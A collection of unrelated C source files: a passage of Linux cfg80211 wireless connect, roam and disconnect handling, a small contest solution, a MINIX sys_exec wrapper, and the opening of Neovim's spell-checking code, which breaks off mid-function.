resp_ie_len, GFP_KERNEL); #ifdef CONFIG_CFG80211_WEXT if (req_ie) { memset(&wrqu, 0, sizeof(wrqu)); wrqu.data.length = req_ie_len; wireless_send_event(wdev->netdev, IWEVASSOCREQIE, &wrqu, req_ie); } if (resp_ie) { memset(&wrqu, 0, sizeof(wrqu)); wrqu.data.length = resp_ie_len; wireless_send_event(wdev->netdev, IWEVASSOCRESPIE, &wrqu, resp_ie); } memset(&wrqu, 0, sizeof(wrqu)); wrqu.ap_addr.sa_family = ARPHRD_ETHER; memcpy(wrqu.ap_addr.sa_data, bss->bssid, ETH_ALEN); memcpy(wdev->wext.prev_bssid, bss->bssid, ETH_ALEN); wdev->wext.prev_bssid_valid = true; wireless_send_event(wdev->netdev, SIOCGIWAP, &wrqu, NULL); #endif return; out: cfg80211_put_bss(wdev->wiphy, bss); } void cfg80211_roamed(struct net_device *dev, struct ieee80211_channel *channel, const u8 *bssid, const u8 *req_ie, size_t req_ie_len, const u8 *resp_ie, size_t resp_ie_len, gfp_t gfp) { struct wireless_dev *wdev = dev->ieee80211_ptr; struct cfg80211_bss *bss; bss = cfg80211_get_bss(wdev->wiphy, channel, bssid, wdev->ssid, wdev->ssid_len, wdev->conn_bss_type, IEEE80211_PRIVACY_ANY); if (WARN_ON(!bss)) return; cfg80211_roamed_bss(dev, bss, req_ie, req_ie_len, resp_ie, resp_ie_len, gfp); } EXPORT_SYMBOL(cfg80211_roamed); /* Consumes bss object one way or another */ void cfg80211_roamed_bss(struct net_device *dev, struct cfg80211_bss *bss, const u8 *req_ie, size_t req_ie_len, const u8 *resp_ie, size_t resp_ie_len, gfp_t gfp) { struct wireless_dev *wdev = dev->ieee80211_ptr; struct cfg80211_registered_device *rdev = wiphy_to_rdev(wdev->wiphy); struct cfg80211_event *ev; unsigned long flags; if (WARN_ON(!bss)) return; ev = kzalloc(sizeof(*ev) + req_ie_len + resp_ie_len, gfp); if (!ev) { cfg80211_put_bss(wdev->wiphy, bss); return; } ev->type = EVENT_ROAMED; ev->rm.req_ie = ((u8 *)ev) + sizeof(*ev); ev->rm.req_ie_len = req_ie_len; memcpy((void *)ev->rm.req_ie, req_ie, req_ie_len); ev->rm.resp_ie = ((u8 *)ev) + sizeof(*ev) + req_ie_len; ev->rm.resp_ie_len = resp_ie_len; memcpy((void *)ev->rm.resp_ie, resp_ie, resp_ie_len); ev->rm.bss = bss; spin_lock_irqsave(&wdev->event_lock, flags); list_add_tail(&ev->list, &wdev->event_list); spin_unlock_irqrestore(&wdev->event_lock, flags); queue_work(cfg80211_wq, &rdev->event_work); } EXPORT_SYMBOL(cfg80211_roamed_bss); void __cfg80211_disconnected(struct net_device *dev, const u8 *ie, size_t ie_len, u16 reason, bool from_ap) { struct wireless_dev *wdev = dev->ieee80211_ptr; struct cfg80211_registered_device *rdev = wiphy_to_rdev(wdev->wiphy); int i; #ifdef CONFIG_CFG80211_WEXT union iwreq_data wrqu; #endif ASSERT_WDEV_LOCK(wdev); if (WARN_ON(wdev->iftype != NL80211_IFTYPE_STATION && wdev->iftype != NL80211_IFTYPE_P2P_CLIENT)) return; if (wdev->current_bss) { cfg80211_unhold_bss(wdev->current_bss); cfg80211_put_bss(wdev->wiphy, &wdev->current_bss->pub); } wdev->current_bss = NULL; wdev->ssid_len = 0; nl80211_send_disconnected(rdev, dev, reason, ie, ie_len, from_ap); /* stop critical protocol if supported */ if (rdev->ops->crit_proto_stop && rdev->crit_proto_nlportid) { rdev->crit_proto_nlportid = 0; rdev_crit_proto_stop(rdev, wdev); } /* * Delete all the keys ... pairwise keys can't really * exist any more anyway, but default keys might. */ if (rdev->ops->del_key) for (i = 0; i < 6; i++) rdev_del_key(rdev, dev, i, false, NULL); rdev_set_qos_map(rdev, dev, NULL); #ifdef CONFIG_CFG80211_WEXT memset(&wrqu, 0, sizeof(wrqu)); wrqu.ap_addr.sa_family = ARPHRD_ETHER; wireless_send_event(dev, SIOCGIWAP, &wrqu, NULL); wdev->wext.connect.ssid_len = 0; #endif schedule_work(&cfg80211_disconnect_work); } void cfg80211_disconnected(struct net_device *dev, u16 reason, const u8 *ie, size_t ie_len, bool locally_generated, gfp_t gfp) { struct wireless_dev *wdev = dev->ieee80211_ptr; struct cfg80211_registered_device *rdev = wiphy_to_rdev(wdev->wiphy); struct cfg80211_event *ev; unsigned long flags; ev = kzalloc(sizeof(*ev) + ie_len, gfp); if (!ev) return; ev->type = EVENT_DISCONNECTED; ev->dc.ie = ((u8 *)ev) + sizeof(*ev); ev->dc.ie_len = ie_len; memcpy((void *)ev->dc.ie, ie, ie_len); ev->dc.reason = reason; ev->dc.locally_generated = locally_generated; spin_lock_irqsave(&wdev->event_lock, flags); list_add_tail(&ev->list, &wdev->event_list); spin_unlock_irqrestore(&wdev->event_lock, flags); queue_work(cfg80211_wq, &rdev->event_work); } EXPORT_SYMBOL(cfg80211_disconnected); /* * API calls for nl80211/wext compatibility code */ int cfg80211_connect(struct cfg80211_registered_device *rdev, struct net_device *dev, struct cfg80211_connect_params *connect, struct cfg80211_cached_keys *connkeys, const u8 *prev_bssid) { struct wireless_dev *wdev = dev->ieee80211_ptr; int err; ASSERT_WDEV_LOCK(wdev); if (WARN_ON(wdev->connect_keys)) { kzfree(wdev->connect_keys); wdev->connect_keys = NULL; } cfg80211_oper_and_ht_capa(&connect->ht_capa_mask, rdev->wiphy.ht_capa_mod_mask); if (connkeys && connkeys->def >= 0) { int idx; u32 cipher; idx = connkeys->def; cipher = connkeys->params[idx].cipher; /* If given a WEP key we may need it for shared key auth */ if (cipher == WLAN_CIPHER_SUITE_WEP40 || cipher == WLAN_CIPHER_SUITE_WEP104) { connect->key_idx = idx; connect->key = connkeys->params[idx].key; connect->key_len = connkeys->params[idx].key_len; /* * If ciphers are not set (e.g. when going through * iwconfig), we have to set them appropriately here. */ if (connect->crypto.cipher_group == 0) connect->crypto.cipher_group = cipher; if (connect->crypto.n_ciphers_pairwise == 0) { connect->crypto.n_ciphers_pairwise = 1; connect->crypto.ciphers_pairwise[0] = cipher; } } connect->crypto.wep_keys = connkeys->params; connect->crypto.wep_tx_key = connkeys->def; } else { if (WARN_ON(connkeys)) return -EINVAL; } wdev->connect_keys = connkeys; memcpy(wdev->ssid, connect->ssid, connect->ssid_len); wdev->ssid_len = connect->ssid_len; wdev->conn_bss_type = connect->pbss ? IEEE80211_BSS_TYPE_PBSS : IEEE80211_BSS_TYPE_ESS; if (!rdev->ops->connect) err = cfg80211_sme_connect(wdev, connect, prev_bssid); else err = rdev_connect(rdev, dev, connect); if (err) { wdev->connect_keys = NULL; wdev->ssid_len = 0; return err; } return 0; } int cfg80211_disconnect(struct cfg80211_registered_device *rdev, struct net_device *dev, u16 reason, bool wextev) { struct wireless_dev *wdev = dev->ieee80211_ptr; int err = 0; ASSERT_WDEV_LOCK(wdev); kzfree(wdev->connect_keys); wdev->connect_keys = NULL; if (wdev->conn) err = cfg80211_sme_disconnect(wdev, reason); else if (!rdev->ops->disconnect) cfg80211_mlme_down(rdev, dev); else if (wdev->current_bss) err = rdev_disconnect(rdev, dev, reason); return err; }
14838.c
#include <stdio.h> #include <stdlib.h> int main(void){ int T; scanf("%d", &T); while(T--){ int l, n, tmp; scanf("%d %d", &l, &n); scanf("%d", &tmp); int maxi = tmp; int mcnt = abs(l/2-tmp); int mini = tmp; int micnt = abs(l/2-tmp); for(int i=1;i<n;i++){ int tmp; scanf("%d", &tmp); if(mcnt > abs(l/2-tmp)){ maxi = tmp; mcnt = abs(l/2-tmp); } if(micnt < abs(l/2-tmp)){ mini = tmp; micnt = abs(l/2-tmp); } } int min = maxi > l-maxi ? l-maxi : maxi; int max = mini < l-mini ? l-mini : mini; printf("%d %d\n", min, max); } return 0; }
563848.c
#include "syslib.h" PUBLIC int sys_exec(proc, ptr, prog_name, initpc) int proc; /* process that did exec */ char *ptr; /* new stack pointer */ char *prog_name; /* name of the new program */ vir_bytes initpc; { /* A process has exec'd. Tell the kernel. */ message m; m.PR_PROC_NR = proc; m.PR_STACK_PTR = ptr; m.PR_NAME_PTR = prog_name; m.PR_IP_PTR = (char *)initpc; return(_taskcall(SYSTASK, SYS_EXEC, &m)); }
859472.c
// This is an open source non-commercial project. Dear PVS-Studio, please check // it. PVS-Studio Static Code Analyzer for C, C++ and C#: http://www.viva64.com // spell.c: code for spell checking // // See spellfile.c for the Vim spell file format. // // The spell checking mechanism uses a tree (aka trie). Each node in the tree // has a list of bytes that can appear (siblings). For each byte there is a // pointer to the node with the byte that follows in the word (child). // // A NUL byte is used where the word may end. The bytes are sorted, so that // binary searching can be used and the NUL bytes are at the start. The // number of possible bytes is stored before the list of bytes. // // The tree uses two arrays: "byts" stores the characters, "idxs" stores // either the next index or flags. The tree starts at index 0. For example, // to lookup "vi" this sequence is followed: // i = 0 // len = byts[i] // n = where "v" appears in byts[i + 1] to byts[i + len] // i = idxs[n] // len = byts[i] // n = where "i" appears in byts[i + 1] to byts[i + len] // i = idxs[n] // len = byts[i] // find that byts[i + 1] is 0, idxs[i + 1] has flags for "vi". // // There are two word trees: one with case-folded words and one with words in // original case. The second one is only used for keep-case words and is // usually small. // // There is one additional tree for when not all prefixes are applied when // generating the .spl file. This tree stores all the possible prefixes, as // if they were words. At each word (prefix) end the prefix nr is stored, the // following word must support this prefix nr. And the condition nr is // stored, used to lookup the condition that the word must match with. // // Thanks to Olaf Seibert for providing an example implementation of this tree // and the compression mechanism. // LZ trie ideas: // http://www.irb.hr/hr/home/ristov/papers/RistovLZtrieRevision1.pdf // More papers: http://www-igm.univ-mlv.fr/~laporte/publi_en.html // // Matching involves checking the caps type: Onecap ALLCAP KeepCap. // // Why doesn't Vim use aspell/ispell/myspell/etc.? // See ":help develop-spell". // Use SPELL_PRINTTREE for debugging: dump the word tree after adding a word. // Only use it for small word lists! // Use SPELL_COMPRESS_ALLWAYS for debugging: compress the word tree after // adding a word. Only use it for small word lists! // Use DEBUG_TRIEWALK to print the changes made in suggest_trie_walk() for a // specific word. // Use this to adjust the score after finding suggestions, based on the // suggested word sounding like the bad word. This is much faster than doing // it for every possible suggestion. // Disadvantage: When "the" is typed as "hte" it sounds quite different ("@" // vs "ht") and goes down in the list. // Used when 'spellsuggest' is set to "best". #define RESCORE(word_score, sound_score) ((3 * word_score + sound_score) / 4) // Do the opposite: based on a maximum end score and a known sound score, // compute the maximum word score that can be used. #define MAXSCORE(word_score, sound_score) ((4 * word_score - sound_score) / 3) #include <assert.h> #include <inttypes.h> #include <limits.h> #include <stdbool.h> #include <stdlib.h> #include <string.h> #include <wctype.h> // for offsetof() #include <stddef.h> #include "nvim/ascii.h" #include "nvim/buffer.h" #include "nvim/change.h" #include "nvim/charset.h" #include "nvim/cursor.h" #include "nvim/edit.h" #include "nvim/eval.h" #include "nvim/ex_cmds.h" #include "nvim/ex_cmds2.h" #include "nvim/ex_docmd.h" #include "nvim/fileio.h" #include "nvim/func_attr.h" #include "nvim/garray.h" #include "nvim/getchar.h" #include "nvim/hashtab.h" #include "nvim/input.h" #include "nvim/mark.h" #include "nvim/mbyte.h" #include "nvim/memline.h" #include "nvim/memory.h" #include "nvim/message.h" #include "nvim/normal.h" #include "nvim/option.h" #include "nvim/os/input.h" #include "nvim/os/os.h" #include "nvim/os_unix.h" #include "nvim/path.h" #include "nvim/regexp.h" #include "nvim/screen.h" #include "nvim/search.h" #include "nvim/spell.h" #include "nvim/spellfile.h" #include "nvim/strings.h" #include "nvim/syntax.h" #include "nvim/ui.h" #include "nvim/undo.h" // only used for su_badflags #define WF_MIXCAP 0x20 // mix of upper and lower case: macaRONI #define WF_CAPMASK (WF_ONECAP | WF_ALLCAP | WF_KEEPCAP | WF_FIXCAP) // Result values. Lower number is accepted over higher one. #define SP_BANNED -1 #define SP_RARE 0 #define SP_OK 1 #define SP_LOCAL 2 #define SP_BAD 3 // First language that is loaded, start of the linked list of loaded // languages. slang_T *first_lang = NULL; // file used for "zG" and "zW" char_u *int_wordlist = NULL; typedef struct wordcount_S { uint16_t wc_count; // nr of times word was seen char_u wc_word[1]; // word, actually longer } wordcount_T; #define WC_KEY_OFF offsetof(wordcount_T, wc_word) #define HI2WC(hi) ((wordcount_T *)((hi)->hi_key - WC_KEY_OFF)) #define MAXWORDCOUNT 0xffff // Information used when looking for suggestions. typedef struct suginfo_S { garray_T su_ga; // suggestions, contains "suggest_T" int su_maxcount; // max. number of suggestions displayed int su_maxscore; // maximum score for adding to su_ga int su_sfmaxscore; // idem, for when doing soundfold words garray_T su_sga; // like su_ga, sound-folded scoring char_u *su_badptr; // start of bad word in line int su_badlen; // length of detected bad word in line int su_badflags; // caps flags for bad word char_u su_badword[MAXWLEN]; // bad word truncated at su_badlen char_u su_fbadword[MAXWLEN]; // su_badword case-folded char_u su_sal_badword[MAXWLEN]; // su_badword soundfolded hashtab_T su_banned; // table with banned words slang_T *su_sallang; // default language for sound folding } suginfo_T; // One word suggestion. Used in "si_ga". typedef struct { char_u *st_word; // suggested word, allocated string int st_wordlen; // STRLEN(st_word) int st_orglen; // length of replaced text int st_score; // lower is better int st_altscore; // used when st_score compares equal bool st_salscore; // st_score is for soundalike bool st_had_bonus; // bonus already included in score slang_T *st_slang; // language used for sound folding } suggest_T; #define SUG(ga, i) (((suggest_T *)(ga).ga_data)[i]) // True if a word appears in the list of banned words. #define WAS_BANNED(su, word) (!HASHITEM_EMPTY(hash_find(&su->su_banned, word))) // Number of suggestions kept when cleaning up. We need to keep more than // what is displayed, because when rescore_suggestions() is called the score // may change and wrong suggestions may be removed later. #define SUG_CLEAN_COUNT(su) ((su)->su_maxcount < \ 130 ? 150 : (su)->su_maxcount + 20) // Threshold for sorting and cleaning up suggestions. Don't want to keep lots // of suggestions that are not going to be displayed. #define SUG_MAX_COUNT(su) (SUG_CLEAN_COUNT(su) + 50) // score for various changes #define SCORE_SPLIT 149 // split bad word #define SCORE_SPLIT_NO 249 // split bad word with NOSPLITSUGS #define SCORE_ICASE 52 // slightly different case #define SCORE_REGION 200 // word is for different region #define SCORE_RARE 180 // rare word #define SCORE_SWAP 75 // swap two characters #define SCORE_SWAP3 110 // swap two characters in three #define SCORE_REP 65 // REP replacement #define SCORE_SUBST 93 // substitute a character #define SCORE_SIMILAR 33 // substitute a similar character #define SCORE_SUBCOMP 33 // substitute a composing character #define SCORE_DEL 94 // delete a character #define SCORE_DELDUP 66 // delete a duplicated character #define SCORE_DELCOMP 28 // delete a composing character #define SCORE_INS 96 // insert a character #define SCORE_INSDUP 67 // insert a duplicate character #define SCORE_INSCOMP 30 // insert a composing character #define SCORE_NONWORD 103 // change non-word to word char #define SCORE_FILE 30 // suggestion from a file #define SCORE_MAXINIT 350 // Initial maximum score: higher == slower. // 350 allows for about three changes. #define SCORE_COMMON1 30 // subtracted for words seen before #define SCORE_COMMON2 40 // subtracted for words often seen #define SCORE_COMMON3 50 // subtracted for words very often seen #define SCORE_THRES2 10 // word count threshold for COMMON2 #define SCORE_THRES3 100 // word count threshold for COMMON3 // When trying changed soundfold words it becomes slow when trying more than // two changes. With less than two changes it's slightly faster but we miss a // few good suggestions. In rare cases we need to try three of four changes. #define SCORE_SFMAX1 200 // maximum score for first try #define SCORE_SFMAX2 300 // maximum score for second try #define SCORE_SFMAX3 400 // maximum score for third try #define SCORE_BIG SCORE_INS * 3 // big difference #define SCORE_MAXMAX 999999 // accept any score #define SCORE_LIMITMAX 350 // for spell_edit_score_limit() // for spell_edit_score_limit() we need to know the minimum value of // SCORE_ICASE, SCORE_SWAP, SCORE_DEL, SCORE_SIMILAR and SCORE_INS #define SCORE_EDIT_MIN SCORE_SIMILAR // Structure to store info for word matching. typedef struct matchinf_S { langp_T *mi_lp; // info for language and region // pointers to original text to be checked char_u *mi_word; // start of word being checked char_u *mi_end; // end of matching word so far char_u *mi_fend; // next char to be added to mi_fword char_u *mi_cend; // char after what was used for // mi_capflags // case-folded text char_u mi_fword[MAXWLEN + 1]; // mi_word case-folded int mi_fwordlen; // nr of valid bytes in mi_fword // for when checking word after a prefix int mi_prefarridx; // index in sl_pidxs with list of // affixID/condition int mi_prefcnt; // number of entries at mi_prefarridx int mi_prefixlen; // byte length of prefix int mi_cprefixlen; // byte length of prefix in original // case // for when checking a compound word int mi_compoff; // start of following word offset char_u mi_compflags[MAXWLEN]; // flags for compound words used int mi_complen; // nr of compound words used int mi_compextra; // nr of COMPOUNDROOT words // others int mi_result; // result so far: SP_BAD, SP_OK, etc. int mi_capflags; // WF_ONECAP WF_ALLCAP WF_KEEPCAP win_T *mi_win; // buffer being checked // for NOBREAK int mi_result2; // "mi_resul" without following word char_u *mi_end2; // "mi_end" without following word } matchinf_T; // Structure used for the cookie argument of do_in_runtimepath(). typedef struct spelload_S { char_u sl_lang[MAXWLEN + 1]; // language name slang_T *sl_slang; // resulting slang_T struct int sl_nobreak; // NOBREAK language found } spelload_T; #define SY_MAXLEN 30 typedef struct syl_item_S { char_u sy_chars[SY_MAXLEN]; // the sequence of chars int sy_len; } syl_item_T; spelltab_T spelltab; int did_set_spelltab; // structure used to store soundfolded words that add_sound_suggest() has // handled already. typedef struct { short sft_score; // lowest score used char_u sft_word[1]; // soundfolded word, actually longer } sftword_T; typedef struct { int badi; int goodi; int score; } limitscore_T; #ifdef INCLUDE_GENERATED_DECLARATIONS # include "spell.c.generated.h" #endif // values for ts_isdiff #define DIFF_NONE 0 // no different byte (yet) #define DIFF_YES 1 // different byte found #define DIFF_INSERT 2 // inserting character // values for ts_flags #define TSF_PREFIXOK 1 // already checked that prefix is OK #define TSF_DIDSPLIT 2 // tried split at this point #define TSF_DIDDEL 4 // did a delete, "ts_delidx" has index // special values ts_prefixdepth #define PFD_NOPREFIX 0xff // not using prefixes #define PFD_PREFIXTREE 0xfe // walking through the prefix tree #define PFD_NOTSPECIAL 0xfd // highest value that's not special // mode values for find_word #define FIND_FOLDWORD 0 // find word case-folded #define FIND_KEEPWORD 1 // find keep-case word #define FIND_PREFIX 2 // find word after prefix #define FIND_COMPOUND 3 // find case-folded compound word #define FIND_KEEPCOMPOUND 4 // find keep-case compound word char *e_format = N_("E759: Format error in spell file"); // Remember what "z?" replaced. static char_u *repl_from = NULL; static char_u *repl_to = NULL; /// Main spell-checking function. /// "ptr" points to a character that could be the start of a word. /// "*attrp" is set to the highlight index for a badly spelled word. For a /// non-word or when it's OK it remains unchanged. /// This must only be called when 'spelllang' is not empty. /// /// "capcol" is used to check for a Capitalised word after the end of a /// sentence. If it's zero then perform the check. Return the column where to /// check next, or -1 when no sentence end was found. If it's NULL then don't /// worry. /// /// @param wp current window /// @param capcol column to check for Capital /// @param docount count good words /// /// @return the length of the word in bytes, also when it's OK, so that the /// caller can skip over the word. size_t spell_check(win_T *wp, char_u *ptr, hlf_T *attrp, int *capcol, bool docount) { matchinf_T mi; // Most things are put in "mi" so that it can // be passed to functions quickly. size_t nrlen = 0; // found a number first int c; size_t wrongcaplen = 0; int lpi; bool count_word = docount; bool use_camel_case = *wp->w_s->b_p_spo != NUL; bool camel_case = false; // A word never starts at a space or a control character. Return quickly // then, skipping over the character. if (*ptr <= ' ') { return 1; } // Return here when loading language files failed. if (GA_EMPTY(&wp->w_s->b_langp)) { return 1; } memset(&mi, 0, sizeof(matchinf_T)); // A number is always OK. Also skip hexadecimal numbers 0xFF99 and // 0X99FF. But always do check spelling to find "3GPP" and "11 // julifeest". if (*ptr >= '0' && *ptr <= '9') { if (*ptr == '0' && (ptr[1] == 'b' || ptr[1] == 'B')) { mi.mi_end = (char_u *)skipbin((char *)ptr + 2); } else if (*ptr == '0' && (ptr[1] == 'x' || ptr[1] == 'X')) { mi.mi_end = skiphex(ptr + 2); } else { mi.mi_end = skipdigits(ptr); } nrlen = (size_t)(mi.mi_end - ptr); } // Find the normal end of the word (until the next non-word character). mi.mi_word = ptr; mi.mi_fend = ptr; if (spell_iswordp(mi.mi_fend, wp)) { bool this_upper = false; // init for gcc if (use_camel_case) { c = utf_ptr2char(mi.mi_fend); this_upper = SPELL_ISUPPER(c); } do { MB_PTR_ADV(mi.mi_fend); if (use_camel_case) { const bool prev_upper = this_upper; c = utf_ptr2char(mi.mi_fend); this_upper = SPELL_ISUPPER(c); camel_case = !prev_upper && this_upper; } } while (*mi.mi_fend != NUL && spell_iswordp(mi.mi_fend, wp) && !camel_case); if (capcol != NULL && *capcol == 0 && wp->w_s->b_cap_prog != NULL) { // Check word starting with capital letter. c = utf_ptr2char(ptr); if (!SPELL_ISUPPER(c)) { wrongcaplen = (size_t)(mi.mi_fend - ptr); } } } if (capcol != NULL) { *capcol = -1; } // We always use the characters up to the next non-word character, // also for bad words. mi.mi_end = mi.mi_fend; // Check caps type later. mi.mi_capflags = 0; mi.mi_cend = NULL; mi.mi_win = wp; // case-fold the word with one non-word character, so that we can check // for the word end. if (*mi.mi_fend != NUL) { MB_PTR_ADV(mi.mi_fend); } (void)spell_casefold(wp, ptr, (int)(mi.mi_fend - ptr), mi.mi_fword, MAXWLEN + 1); mi.mi_fwordlen = (int)STRLEN(mi.mi_fword); if (camel_case) { // introduce a fake word end space into the folded word. mi.mi_fword[mi.mi_fwordlen - 1] = ' '; } // The word is bad unless we recognize it. mi.mi_result = SP_BAD; mi.mi_result2 = SP_BAD; // Loop over the languages specified in 'spelllang'. // We check them all, because a word may be matched longer in another // language. for (lpi = 0; lpi < wp->w_s->b_langp.ga_len; ++lpi) { mi.mi_lp = LANGP_ENTRY(wp->w_s->b_langp, lpi); // If reloading fails the language is still in the list but everything // has been cleared. if (mi.mi_lp->lp_slang->sl_fidxs == NULL) { continue; } // Check for a matching word in case-folded words. find_word(&mi, FIND_FOLDWORD); // Check for a matching word in keep-case words. find_word(&mi, FIND_KEEPWORD); // Check for matching prefixes. find_prefix(&mi, FIND_FOLDWORD); // For a NOBREAK language, may want to use a word without a following // word as a backup. if (mi.mi_lp->lp_slang->sl_nobreak && mi.mi_result == SP_BAD && mi.mi_result2 != SP_BAD) { mi.mi_result = mi.mi_result2; mi.mi_end = mi.mi_end2; } // Count the word in the first language where it's found to be OK. if (count_word && mi.mi_result == SP_OK) { count_common_word(mi.mi_lp->lp_slang, ptr, (int)(mi.mi_end - ptr), 1); count_word = false; } } if (mi.mi_result != SP_OK) { // If we found a number skip over it. Allows for "42nd". Do flag // rare and local words, e.g., "3GPP". if (nrlen > 0) { if (mi.mi_result == SP_BAD || mi.mi_result == SP_BANNED) { return nrlen; } } else if (!spell_iswordp_nmw(ptr, wp)) { // When we are at a non-word character there is no error, just // skip over the character (try looking for a word after it). if (capcol != NULL && wp->w_s->b_cap_prog != NULL) { regmatch_T regmatch; // Check for end of sentence. regmatch.regprog = wp->w_s->b_cap_prog; regmatch.rm_ic = false; int r = vim_regexec(&regmatch, ptr, 0); wp->w_s->b_cap_prog = regmatch.regprog; if (r) { *capcol = (int)(regmatch.endp[0] - ptr); } } return (size_t)(utfc_ptr2len(ptr)); } else if (mi.mi_end == ptr) { // Always include at least one character. Required for when there // is a mixup in "midword". MB_PTR_ADV(mi.mi_end); } else if (mi.mi_result == SP_BAD && LANGP_ENTRY(wp->w_s->b_langp, 0)->lp_slang->sl_nobreak) { char_u *p, *fp; int save_result = mi.mi_result; // First language in 'spelllang' is NOBREAK. Find first position // at which any word would be valid. mi.mi_lp = LANGP_ENTRY(wp->w_s->b_langp, 0); if (mi.mi_lp->lp_slang->sl_fidxs != NULL) { p = mi.mi_word; fp = mi.mi_fword; for (;;) { MB_PTR_ADV(p); MB_PTR_ADV(fp); if (p >= mi.mi_end) { break; } mi.mi_compoff = (int)(fp - mi.mi_fword); find_word(&mi, FIND_COMPOUND); if (mi.mi_result != SP_BAD) { mi.mi_end = p; break; } } mi.mi_result = save_result; } } if (mi.mi_result == SP_BAD || mi.mi_result == SP_BANNED) { *attrp = HLF_SPB; } else if (mi.mi_result == SP_RARE) { *attrp = HLF_SPR; } else { *attrp = HLF_SPL; } } if (wrongcaplen > 0 && (mi.mi_result == SP_OK || mi.mi_result == SP_RARE)) { // Report SpellCap only when the word isn't badly spelled. *attrp = HLF_SPC; return wrongcaplen; } return (size_t)(mi.mi_end - ptr); } // Check if the word at "mip->mi_word" is in the tree. // When "mode" is FIND_FOLDWORD check in fold-case word tree. // When "mode" is FIND_KEEPWORD check in keep-case word tree. // When "mode" is FIND_PREFIX check for word after prefix in fold-case word // tree. // // For a match mip->mi_result is updated. static void find_word(matchinf_T *mip, int mode) { int wlen = 0; int flen; char_u *ptr; slang_T *slang = mip->mi_lp->lp_slang; char_u *byts; idx_T *idxs; if (mode == FIND_KEEPWORD || mode == FIND_KEEPCOMPOUND) { // Check for word with matching case in keep-case tree. ptr = mip->mi_word; flen = 9999; // no case folding, always enough bytes byts = slang->sl_kbyts; idxs = slang->sl_kidxs; if (mode == FIND_KEEPCOMPOUND) { // Skip over the previously found word(s). wlen += mip->mi_compoff; } } else { // Check for case-folded in case-folded tree. ptr = mip->mi_fword; flen = mip->mi_fwordlen; // available case-folded bytes byts = slang->sl_fbyts; idxs = slang->sl_fidxs; if (mode == FIND_PREFIX) { // Skip over the prefix. wlen = mip->mi_prefixlen; flen -= mip->mi_prefixlen; } else if (mode == FIND_COMPOUND) { // Skip over the previously found word(s). wlen = mip->mi_compoff; flen -= mip->mi_compoff; } } if (byts == NULL) { return; // array is empty } idx_T arridx = 0; int endlen[MAXWLEN]; // length at possible word endings idx_T endidx[MAXWLEN]; // possible word endings int endidxcnt = 0; int len; int c; // Repeat advancing in the tree until: // - there is a byte that doesn't match, // - we reach the end of the tree, // - or we reach the end of the line. for (;;) { if (flen <= 0 && *mip->mi_fend != NUL) { flen = fold_more(mip); } len = byts[arridx++]; // If the first possible byte is a zero the word could end here. // Remember this index, we first check for the longest word. if (byts[arridx] == 0) { if (endidxcnt == MAXWLEN) { // Must be a corrupted spell file. emsg(_(e_format)); return; } endlen[endidxcnt] = wlen; endidx[endidxcnt++] = arridx++; --len; // Skip over the zeros, there can be several flag/region // combinations. while (len > 0 && byts[arridx] == 0) { ++arridx; --len; } if (len == 0) { break; // no children, word must end here } } // Stop looking at end of the line. if (ptr[wlen] == NUL) { break; } // Perform a binary search in the list of accepted bytes. c = ptr[wlen]; if (c == TAB) { // <Tab> is handled like <Space> c = ' '; } idx_T lo = arridx; idx_T hi = arridx + len - 1; while (lo < hi) { idx_T m = (lo + hi) / 2; if (byts[m] > c) { hi = m - 1; } else if (byts[m] < c) { lo = m + 1; } else { lo = hi = m; break; } } // Stop if there is no matching byte. if (hi < lo || byts[lo] != c) { break; } // Continue at the child (if there is one). arridx = idxs[lo]; ++wlen; --flen; // One space in the good word may stand for several spaces in the // checked word. if (c == ' ') { for (;;) { if (flen <= 0 && *mip->mi_fend != NUL) { flen = fold_more(mip); } if (ptr[wlen] != ' ' && ptr[wlen] != TAB) { break; } ++wlen; --flen; } } } char_u *p; bool word_ends; // Verify that one of the possible endings is valid. Try the longest // first. while (endidxcnt > 0) { --endidxcnt; arridx = endidx[endidxcnt]; wlen = endlen[endidxcnt]; if (utf_head_off(ptr, ptr + wlen) > 0) { continue; // not at first byte of character } if (spell_iswordp(ptr + wlen, mip->mi_win)) { if (slang->sl_compprog == NULL && !slang->sl_nobreak) { continue; // next char is a word character } word_ends = false; } else { word_ends = true; } // The prefix flag is before compound flags. Once a valid prefix flag // has been found we try compound flags. bool prefix_found = false; if (mode != FIND_KEEPWORD) { // Compute byte length in original word, length may change // when folding case. This can be slow, take a shortcut when the // case-folded word is equal to the keep-case word. p = mip->mi_word; if (STRNCMP(ptr, p, wlen) != 0) { for (char_u *s = ptr; s < ptr + wlen; MB_PTR_ADV(s)) { MB_PTR_ADV(p); } wlen = (int)(p - mip->mi_word); } } // Check flags and region. For FIND_PREFIX check the condition and // prefix ID. // Repeat this if there are more flags/region alternatives until there // is a match. for (len = byts[arridx - 1]; len > 0 && byts[arridx] == 0; --len, ++arridx) { uint32_t flags = idxs[arridx]; // For the fold-case tree check that the case of the checked word // matches with what the word in the tree requires. // For keep-case tree the case is always right. For prefixes we // don't bother to check. if (mode == FIND_FOLDWORD) { if (mip->mi_cend != mip->mi_word + wlen) { // mi_capflags was set for a different word length, need // to do it again. mip->mi_cend = mip->mi_word + wlen; mip->mi_capflags = captype(mip->mi_word, mip->mi_cend); } if (mip->mi_capflags == WF_KEEPCAP || !spell_valid_case(mip->mi_capflags, flags)) { continue; } } // When mode is FIND_PREFIX the word must support the prefix: // check the prefix ID and the condition. Do that for the list at // mip->mi_prefarridx that find_prefix() filled. else if (mode == FIND_PREFIX && !prefix_found) { c = valid_word_prefix(mip->mi_prefcnt, mip->mi_prefarridx, flags, mip->mi_word + mip->mi_cprefixlen, slang, false); if (c == 0) { continue; } // Use the WF_RARE flag for a rare prefix. if (c & WF_RAREPFX) { flags |= WF_RARE; } prefix_found = true; } if (slang->sl_nobreak) { if ((mode == FIND_COMPOUND || mode == FIND_KEEPCOMPOUND) && (flags & WF_BANNED) == 0) { // NOBREAK: found a valid following word. That's all we // need to know, so return. mip->mi_result = SP_OK; break; } } else if ((mode == FIND_COMPOUND || mode == FIND_KEEPCOMPOUND || !word_ends)) { // If there is no compound flag or the word is shorter than // COMPOUNDMIN reject it quickly. // Makes you wonder why someone puts a compound flag on a word // that's too short... Myspell compatibility requires this // anyway. if (((unsigned)flags >> 24) == 0 || wlen - mip->mi_compoff < slang->sl_compminlen) { continue; } // For multi-byte chars check character length against // COMPOUNDMIN. if (slang->sl_compminlen > 0 && mb_charlen_len(mip->mi_word + mip->mi_compoff, wlen - mip->mi_compoff) < slang->sl_compminlen) { continue; } // Limit the number of compound words to COMPOUNDWORDMAX if no // maximum for syllables is specified. if (!word_ends && mip->mi_complen + mip->mi_compextra + 2 > slang->sl_compmax && slang->sl_compsylmax == MAXWLEN) 